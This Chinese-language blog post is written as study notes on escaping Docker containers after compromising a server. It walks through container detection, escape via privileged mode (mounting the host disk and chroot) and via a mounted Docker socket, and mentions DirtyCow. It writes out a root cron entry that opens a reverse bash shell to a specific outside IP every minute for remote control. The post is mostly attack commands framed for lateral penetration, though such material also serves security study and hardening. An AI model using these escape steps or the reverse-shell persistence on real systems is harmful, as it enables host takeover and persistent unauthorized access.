容器逃逸学习

原理

运在宿主机上的容器;拥有超出自身进程应有的权限;逃逸到宿主机;执行操作。

背景

在拿下一台服务器之后,我们会遇到“服务器即容器”的情况。为了能够深入或横向渗透,我们常常需要进行容器逃逸和容器的隔离限制

如何判断当前机器是否为Docker 容器环境

1.检查根目录下是否存在.dockerenv文件 

ls -al .dockerenv

2.检查 /proc/1/cgroup 是否存在含有docker字符串!

cat /proc/1/cgroup  |  grep docker

逃逸操作

 1.  Docker 高危启动参数 -- privileged 特权模式启动容器 特权模式启动的参数

当操作者执行docker run --privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。

 

fdisk  查看自盘文件

 

在特权模式下,逃逸的方式很多,比如:直接在容器内部挂载宿主机磁盘,然后切换根目录。

新建一个目录:mkdir /test
挂载磁盘到新建目录:mount /dev/vda1 /test
切换根目录:chroot /test
到这里已经成功逃逸了,然后就是常规的反弹shell 和 写 SSH 了(和redis未授权差不多)。

 

写计划任务,反弹宿主机Shell。
echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root

这个命令的作用是在目标系统的 root 用户的 cron 任务中添加一个定时任务,每分钟执行一次。这个任务会启动一个交互式的 bash shell,并将其输入输出重定向到远程服务器(IP 地址为 39.106.51.35,端口为 1234),从而实现远程控制目标系统的目的

 

先挂载到宿主机根目录

可以参考写入SSH 公钥:https://www.cnblogs.com/Hi-blog/p/9482418.html

2.  危险挂载导致Docker 逃逸

挂载目录(-v /:/soft)

docker run -itd -v /dir:/dir ubuntu:18.04 /bin/bash

挂载Docker Socket

Docker采用C/S架构,我们0平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种:

  • unix:///var/run/docker.sock(默认
  • tcp://host:port
  • fd://socketfd

Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信——查询信息或下发命令。

逃逸复现:

1.首先创建一个容器并挂载/var/run/docker.sock;

docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu

2.在该容器内安装Docker命令行客户端;

    1. apt-update
      apt-get install \
      apt-transport-https \
      ca-certificates \
      curl \
      gnupg-agent \
      software-properties-common
      curl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | apt-key add -
      apt-key fingerprint 0EBFCD88
      add-apt-repository \
      "deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/ \
      $(lsb_release -cs) \
      stable"
      apt-get update
      apt-get install docker-ce docker-ce-cli containerd.io

3.接着使用该客户端通过Docker Socket与Docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建容器的host 目录;docker run -it -v /:/host ubuntu:18.04    /bin/bash

以这种方式,创建的容器,可以执行命令直接改在到宿主机。

 

4..在新容器内执行chroot将根目录切换到挂载的宿主机根目录。chroot /test

 

成功逃逸到宿主机。

3. Nday导致的docker 逃逸

DirtyCow(CVE-2016-5195)脏牛漏洞实现Docker 逃逸

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃逸,获得root权限的shell。

Docker 与 宿主机共享内核,因此容器需要在存在dirtyCow漏洞的宿主机里。

 

 

 

4.

 使用该客户端通过Docker Socket与Docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部;docker run -it -v /:/host ubuntu:18.04 /bin/bash

 

 

 

参考文章:

https://xz.aliyun.com/t/8558?time__1311=n4%2BxnD0DcDuD90WY4GNepDUhOCfjq4DtQDRBGoD

https://www.freebuf.com/articles/network/363137.html

本文作者:潜伏237

本文链接:https://www.cnblogs.com/easyday/p/18618462

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   潜伏237  阅读(20)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
   
点击右上角即可分享
微信分享提示
💬
评论
📌
收藏
💗
关注
👍
推荐
🚀
回顶
收起
  1. 1 404 not found REOL
404 not found - REOL
00:00 / 00:00
An audio error has occurred.